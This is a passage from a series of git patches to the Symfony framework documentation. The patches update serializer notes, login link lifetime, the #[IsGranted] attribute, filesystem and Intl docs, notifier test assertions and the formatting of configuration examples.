@@ -896,10 +896,9 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    .. versionadded:: 5.4
+    .. note::
 
-        The ``BackedEnumNormalizer`` was introduced in Symfony 5.4.
-        PHP BackedEnum requires at least PHP 8.1.
+        The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
diff --git a/serializer.rst b/serializer.rst
index 787007f3638..de64a4842dc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -78,10 +78,9 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
 
-.. versionadded:: 5.4
+.. note::
 
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    was introduced in Symfony 5.4. PHP BackedEnum requires at least PHP 8.1.
+    The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 9249444aa0f8000cb55f72fa124cf1a245828c90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:40:49 +0200
Subject: [PATCH 3504/7107] Remove an unneeded note

---
 components/serializer.rst | 4 ----
 serializer.rst            | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5b08a08aea0..5d451035b2a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -900,10 +900,6 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    .. note::
-
-        The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
diff --git a/serializer.rst b/serializer.rst
index 20f9f3e7a4e..fc829344510 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -78,10 +78,6 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
 
-.. note::
-
-    The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
-
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and

From 10706e8503fec394b53870febb6d6b9e575363ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 15:39:15 +0200
Subject: [PATCH 3505/7107] Readd a missing reference

---
 service_container/lazy_services.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 4a9af5d92b5..4b7af213ab0 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -161,3 +161,4 @@ implement multiple interfaces by adding new "proxy" tags.
 
 .. _`ghost object`: https://en.wikipedia.org/wiki/Lazy_loading#Ghost
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php
+.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern

From 19e4760edc33c533a5cf30bce331fe2d4c405b86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 14:03:09 +0200
Subject: [PATCH 3506/7107] [Security] Document the lifetime per link

---
 security/login_link.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 899c7a1c82a..711cdf588c1 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -341,6 +341,8 @@ configuration decisions are discussed:
 * `Invalidate Login Links`_
 * `Allow a Link to only be Used Once`_
 
+.. _login-link-lifetime:
+
 Limit Login Link Lifetime
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -398,6 +400,10 @@ seconds). You can customize this using the ``lifetime`` option:
             ;
         };
 
+.. tip::
+
+    You can also :ref:`customize the lifetime per link <customizing-link-lifetime>`.
+
 .. _security-login-link-signature:
 
 Invalidate Login Links
@@ -796,3 +802,17 @@ features such as the locale used to generate the link::
 
         // ...
     }
+
+.. _customizing-link-lifetime:
+
+By default, generated links use :ref:`the lifetime configured globally <login-link-lifetime>`
+but you can change the lifetime per link using the third argument of the
+``createLoginLink()`` method::
+
+    // the third optional argument is the lifetime in seconds
+    $loginLinkDetails = $loginLinkHandler->createLoginLink($user, null, 60);
+    $loginLink = $loginLinkDetails->getUrl();
+
+.. versionadded:: 6.2
+
+    The option to customize the link lifetime was introduced in Symfony 6.2.

From f467db984bea0ba6458f0c9a9962c6120d5109c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 16:11:07 +0200
Subject: [PATCH 3507/7107] [Security] Document the #[IsGranted()] attribute

---
 security.rst | 28 +++++++++++++---------------
 1 file changed, 13 insertions(+), 15 deletions(-)

diff --git a/security.rst b/security.rst
index ba2c9717681..dcc0808421b 100644
--- a/security.rst
+++ b/security.rst
@@ -2198,8 +2198,10 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+Another way to secure one or more controller actions is to use an attribute or
+annotation. In the following example, all controller actions will require the
+``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
+the ``ROLE_SUPER_ADMIN`` permission:
 
 .. configuration-block::
 
@@ -2211,15 +2213,11 @@ using annotations:
         use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
         /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         *
          * @IsGranted("ROLE_ADMIN")
          */
         class AdminController extends AbstractController
         {
             /**
-             * Require ROLE_SUPER_ADMIN only for this action
-             *
              * @IsGranted("ROLE_SUPER_ADMIN")
              */
             public function adminDashboard(): Response
@@ -2233,17 +2231,11 @@ using annotations:
         // src/Controller/AdminController.php
         // ...
 
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
 
-        /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         */
         #[IsGranted('ROLE_ADMIN')]
         class AdminController extends AbstractController
         {
-            /**
-             * Require ROLE_SUPER_ADMIN only for this action
-             */
             #[IsGranted('ROLE_SUPER_ADMIN')]
             public function adminDashboard(): Response
             {
@@ -2251,7 +2243,13 @@ using annotations:
             }
         }
 
-For more information, see the `FrameworkExtraBundle documentation`_.
+The ``#[IsGranted()]`` attribute is built-in in Symfony and it's recommended for
+modern applications. Using the ``@IsGranted()`` annotation requires to install
+an external bundle called `FrameworkExtraBundle`_.
+
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
 .. _security-template:
 
@@ -2690,7 +2688,7 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
-.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
+.. _`FrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

From 2766d70271add07d86959c727d5f30c2e1127334 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 11:41:34 +0200
Subject: [PATCH 3508/7107] [Filesystem] Add type hints readlink()

Add type hints for readlink, return hints added in v6.0
---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d99e6036a27..20c3032a6a6 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -221,7 +221,7 @@ systems (unlike PHP's :phpfunction:`readlink` function)::
 
 Its behavior is the following::
 
-    public function readlink($path, $canonicalize = false)
+    public function readlink(string $path, bool $canonicalize = false): ?string
 
 * When ``$canonicalize`` is ``false``:
     * if ``$path`` does not exist or is not a link, it returns ``null``.

From 7c7c76ead3cd0e316a76233e309db611274c5681 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 6 Aug 2022 13:14:37 +0200
Subject: [PATCH 3509/7107] fix CI by reverting #17020

---
 .github/workflows/ci.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 7174f5d4cf2..87ccb0b1d75 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -116,11 +116,6 @@ jobs:
             if: ${{ steps.find-files.outputs.files }}
             run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
-          - name: Allow Flex
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              composer config --no-plugins allow-plugins.symfony/flex true
-
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |

From f0353b8b97f2892af7a30e7777b092280e1c7149 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 14:07:53 +0200
Subject: [PATCH 3510/7107] [Filesystem] Fix check path methods

Fix check for relative/absolute path.
---
 components/filesystem.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 83f9c59de3f..fc0482227e7 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -411,8 +411,8 @@ as necessary::
     echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
     // => ../config/config.yaml
 
-Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
-:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+Use :method:`Symfony\\Component\\Filesystem\\Path::isAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::isRelative` to check whether a
 path is absolute or relative::
 
     Path::isAbsolute('C:\Programs\PHP\php.ini')

From ad310b2e3d2fdf5576823d9a725867e021cd690e Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 7 Aug 2022 22:43:58 +0200
Subject: [PATCH 3511/7107] [Intl] Add Scripts & Languages links

Add links to the code documents, i found that is useful for quick check to the code.
---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 70e602cc1c2..6992c39a26b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -68,7 +68,7 @@ This component provides the following ICU data:
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``Languages`` class provides access to the name of all languages
+The :class:`Symfony\\Component\\Intl\\Languages` class provides access to the name of all languages
 according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
@@ -128,7 +128,7 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 
     The full support for alpha3 codes was introduced in Symfony 4.4.
 
-The ``Scripts`` class provides access to the optional four-letter script code
+The :class:`Symfony\\Component\\Intl\\Scripts` class provides access to the optional four-letter script code
 that can follow the language code according to the `Unicode ISO 15924 Registry`_
 (e.g. ``HANS`` in ``zh_HANS`` for simplified Chinese and ``HANT`` in ``zh_HANT``
 for traditional Chinese)::

From 96db4b8f0089882f0107879a56bcdbc35f9d2300 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Aug 2022 12:36:34 +0200
Subject: [PATCH 3512/7107] Minor tweak

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 711cdf588c1..dcf3934a8e2 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -815,4 +815,4 @@ but you can change the lifetime per link using the third argument of the
 
 .. versionadded:: 6.2
 
-    The option to customize the link lifetime was introduced in Symfony 6.2.
+    The argument to customize the link lifetime was introduced in Symfony 6.2.

From 497fb5de374cae5a14b5019a82a93585c005447d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 15:33:02 +0200
Subject: [PATCH 3513/7107] [Notifier][Testing] Document the notifier
 assertions

---
 testing.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/testing.rst b/testing.rst
index 2be185a81d8..78cba0e5914 100644
--- a/testing.rst
+++ b/testing.rst
@@ -970,6 +970,36 @@ Mailer Assertions
     address. This assertion normalizes addresses like ``Jane Smith
     <jane@example.com>`` into ``jane@example.com``.
 
+Notifier Assertions
+...................
+
+``assertNotificationCount(int $count, string $transportName = null, string $message = '')``
+    Asserts that the given number of notifications has been created
+    (in total or for the given transport).
+``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')``
+    Asserts that the given number of notifications are queued
+    (in total or for the given transport).
+``assertNotificationIsQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given notification is queued.
+``assertNotificationIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given notification is not queued.
+``assertNotificationSubjectContains(MessageInterface $notification, string $text, string $message = '')``
+    Asserts that the given text is included in the subject of
+    the given notification.
+``assertNotificationSubjectNotContains(MessageInterface $notification, string $text, string $message = '')``
+    Asserts that the given text is not included in the subject of
+    the given notification.
+``assertNotificationTransportIsEqual(MessageInterface $notification, string $transportName, string $message = '')``
+    Asserts that the name of the transport for the given notification
+    is the same as the given text.
+``assertNotificationTransportIsNotEqual(MessageInterface $notification, string $transportName, string $message = '')``
+    Asserts that the name of the transport for the given notification
+    is not the same as the given text.
+
+.. versionadded:: 6.2
+
+    The Notifier assertions were introduced in Symfony 6.2.
+
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------

From 68aa9e165a06c8fb9af9e49d7c3657f43788768a Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 17 Jul 2022 17:42:51 +0200
Subject: [PATCH 3514/7107] Ensure config blocks are consistent

---
 bundles/best_practices.rst                    |  12 +-
 bundles/configuration.rst                     |  52 +--
 bundles/override.rst                          |   4 +-
 bundles/prepend_extension.rst                 |  30 +-
 cache.rst                                     | 308 ++++++++++--------
 components/dependency_injection.rst           |  24 +-
 .../_imports-parameters-note.rst.inc          |  10 +-
 .../dependency_injection/compilation.rst      |  13 +-
 .../http_foundation/session_configuration.rst |  21 +-
 components/serializer.rst                     |  18 +-
 components/var_dumper.rst                     |  17 +-
 11 files changed, 302 insertions(+), 207 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index c6e0521db82..64992cae3a9 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -421,8 +421,8 @@ The end user can provide values in any configuration file:
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <parameters>
                 <parameter key="acme_blog.author.email">fabien@example.com</parameter>
             </parameters>
@@ -432,7 +432,13 @@ The end user can provide values in any configuration file:
     .. code-block:: php
 
         // config/services.php
-        $container->setParameter('acme_blog.author.email', 'fabien@example.com');
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
+                ->set('acme_blog.author.email', 'fabien@example.com')
+            ;
+        };
 
 Retrieve the configuration parameters in your code from the container::
 
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 25254b7efcb..41c34ee7bbc 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -20,19 +20,22 @@ as integration of other related components:
 
     .. code-block:: yaml
 
+        # config/packages/framework.yaml
         framework:
             form: true
 
     .. code-block:: xml
 
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:form/>
             </framework:config>
@@ -40,9 +43,14 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'form' => true,
+            ]);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -69,24 +77,28 @@ can add some configuration that looks like this:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
             <acme-social:config>
-                <acme-social:twitter client-id="123" client-secret="your_secret"/>
+                <acme-social:twitter client-id="123"
+                    client-secret="your_secret"
+                />
             </acme-social:config>
-
-            <!-- ... -->
         </container>
 
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_social', [
+                'twitter' => [
+                    'client_id'     => 123,
+                    'client_secret' => 'your_secret',
+                ],
+            ]);
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
@@ -242,8 +254,8 @@ For example, imagine your bundle has the following example config:
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://symfony.com/schema/dic/services
-            https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+            https://symfony.com/schema/dic/services/services-1.0.xsd"
+    >
         <services>
             <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient">
                 <argument></argument> <!-- will be filled in with client_id dynamically -->
@@ -423,8 +435,8 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         xsi:schemaLocation="http://symfony.com/schema/dic/services
             https://symfony.com/schema/dic/services/services-1.0.xsd
             http://acme_company.com/schema/dic/hello
-            https://acme_company.com/schema/dic/hello/hello-1.0.xsd">
-
+            https://acme_company.com/schema/dic/hello/hello-1.0.xsd"
+    >
         <acme-hello:config>
             <!-- ... -->
         </acme-hello:config>
diff --git a/bundles/override.rst b/bundles/override.rst
index bf53eb5ce3c..6cf3d37c386 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -139,8 +139,8 @@ to a new validation group:
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
-                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"
+        >
             <class name="FOS\UserBundle\Model\User">
                 <property name="plainPassword">
                     <constraint name="NotBlank">
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index c23f9133ff4..fe551f31083 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -127,29 +127,35 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
                 http://example.org/schema/dic/acme_something
                 https://example.org/schema/dic/acme_something/acme_something-1.0.xsd
                 http://example.org/schema/dic/acme_other
-                https://example.org/schema/dic/acme_something/acme_other-1.0.xsd">
-
+                https://example.org/schema/dic/acme_something/acme_other-1.0.xsd"
+        >
             <acme-something:config use-acme-goodbye="false">
                 <!-- ... -->
                 <acme-something:entity-manager-name>non_default</acme-something:entity-manager-name>
             </acme-something:config>
 
-            <acme-other:config use-acme-goodbye="false"/>
+            <acme-other:config use-acme-goodbye="false">
+                <!-- ... -->
+            </acme-other:config>
 
         </container>
 
     .. code-block:: php
 
         // config/packages/acme_something.php
-        $container->loadFromExtension('acme_something', [
-            // ...
-            'use_acme_goodbye' => false,
-            'entity_manager_name' => 'non_default',
-        ]);
-        $container->loadFromExtension('acme_other', [
-            // ...
-            'use_acme_goodbye' => false,
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_something', [
+                // ...
+                'use_acme_goodbye' => false,
+                'entity_manager_name' => 'non_default',
+            ]);
+            $container->extension('acme_other', [
+                // ...
+                'use_acme_goodbye' => false,
+            ]);
+        };
 
 More than one Bundle using PrependExtensionInterface
 ----------------------------------------------------
diff --git a/cache.rst b/cache.rst
index 9982c33a7cf..73766284f21 100644
--- a/cache.rst
+++ b/cache.rst
@@ -77,10 +77,11 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
-                <framework:cache app="cache.adapter.filesystem"
+                <framework:cache
+                    app="cache.adapter.filesystem"
                     system="cache.adapter.system"
                 />
             </framework:config>
@@ -89,12 +90,16 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'app' => 'cache.adapter.filesystem',
+                    'system' => 'cache.adapter.system',
+                ],
+            ]);
+        };
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -140,8 +145,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <!--
                 default_doctrine_provider: Service: cache.doctrine
@@ -164,23 +169,27 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
-
-                // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
-                // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
-                // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
-                // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
-                // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    // Only used with cache.adapter.filesystem
+                    'directory' => '%kernel.cache_dir%/pools',
+
+                    // Service: cache.doctrine
+                    'default_doctrine_provider' => 'app.doctrine_cache',
+                    // Service: cache.psr6
+                    'default_psr6_provider' => 'app.my_psr6_service',
+                    // Service: cache.redis
+                    'default_redis_provider' => 'redis://localhost',
+                    // Service: cache.memcached
+                    'default_memcached_provider' => 'memcached://localhost',
+                    // Service: cache.pdo
+                    'default_pdo_provider' => 'doctrine.dbal.default_connection',
+                ],
+            ]);
+        };
 
 Creating Custom (Namespaced) Pools
 ----------------------------------
@@ -233,8 +242,8 @@ You can also create more customized pools:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
                 <framework:cache default-memcached-provider="memcached://localhost">
                     <!-- creates a "custom_thing.cache" service
@@ -264,43 +273,47 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('framework', [
+                'cache' => [
+                    'default_memcached_provider' => 'memcached://localhost',
+                    'pools' => [
+                        // creates a "custom_thing.cache" service
+                        // autowireable via "CacheInterface $customThingCache"
+                        // uses the "app" cache configuration
+                        'custom_thing.cache' => [
+                            'adapter' => 'cache.app',
+                        ],
 
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
+                        // creates a "my_cache_pool" service
+                        // autowireable via "CacheInterface $myCachePool"
+                        'my_cache_pool' => [
+                            'adapter' => 'cache.adapter.filesystem',
+                        ],
 
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
+                        // uses the default_memcached_provider from above
+                        'acme.cache' => [
+                            'adapter' => 'cache.adapter.memcached',
+                        ],
 
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
+                        // control adapter's configuration
+                        'foobar.cache' => [
+                            'adapter' => 'cache.adapter.memcached',
+                            'provider' => 'memcached://user:password@example.com',
+                        ],
 
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
+                        // uses the "foobar.cache" pool as its backend but controls
+                        // the lifetime and (like all pools) has a separate cache namespace
+                        'short_cache' => [
+                            'adapter' => 'foobar.cache',
+                            'default_lifetime' => 60,
+                        ],
                     ],
                 ],
-            ],
-        ]);
+            ]);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
@@ -342,6 +355,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 
             # config/services.yaml
             services:
+                # ...
+
                 app.cache.adapter.redis:
                     parent: 'cache.adapter.redis'
                     tags:
@@ -354,9 +369,11 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
+                    https://symfony.com/schema/dic/services/services-1.0.xsd"
+            >
                 <services>
+                    <!-- ... -->
+
                     <service id="app.cache.adapter.redis" parent="cache.adapter.redis">
                         <tag name="cache.pool" namespace="my_custom_namespace"/>
                     </service>
@@ -368,12 +385,14 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $container) {
+                $container->services()
+                    // ...
 
-                $services->set('app.cache.adapter.redis')
-                    ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
+                    ->set('app.cache.adapter.redis')
+                        ->parent('cache.adapter.redis')
+                        ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                ;
             };
 
 Custom Provider Options
@@ -415,11 +434,14 @@ and use that when configuring the pool.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
             <framework:config>
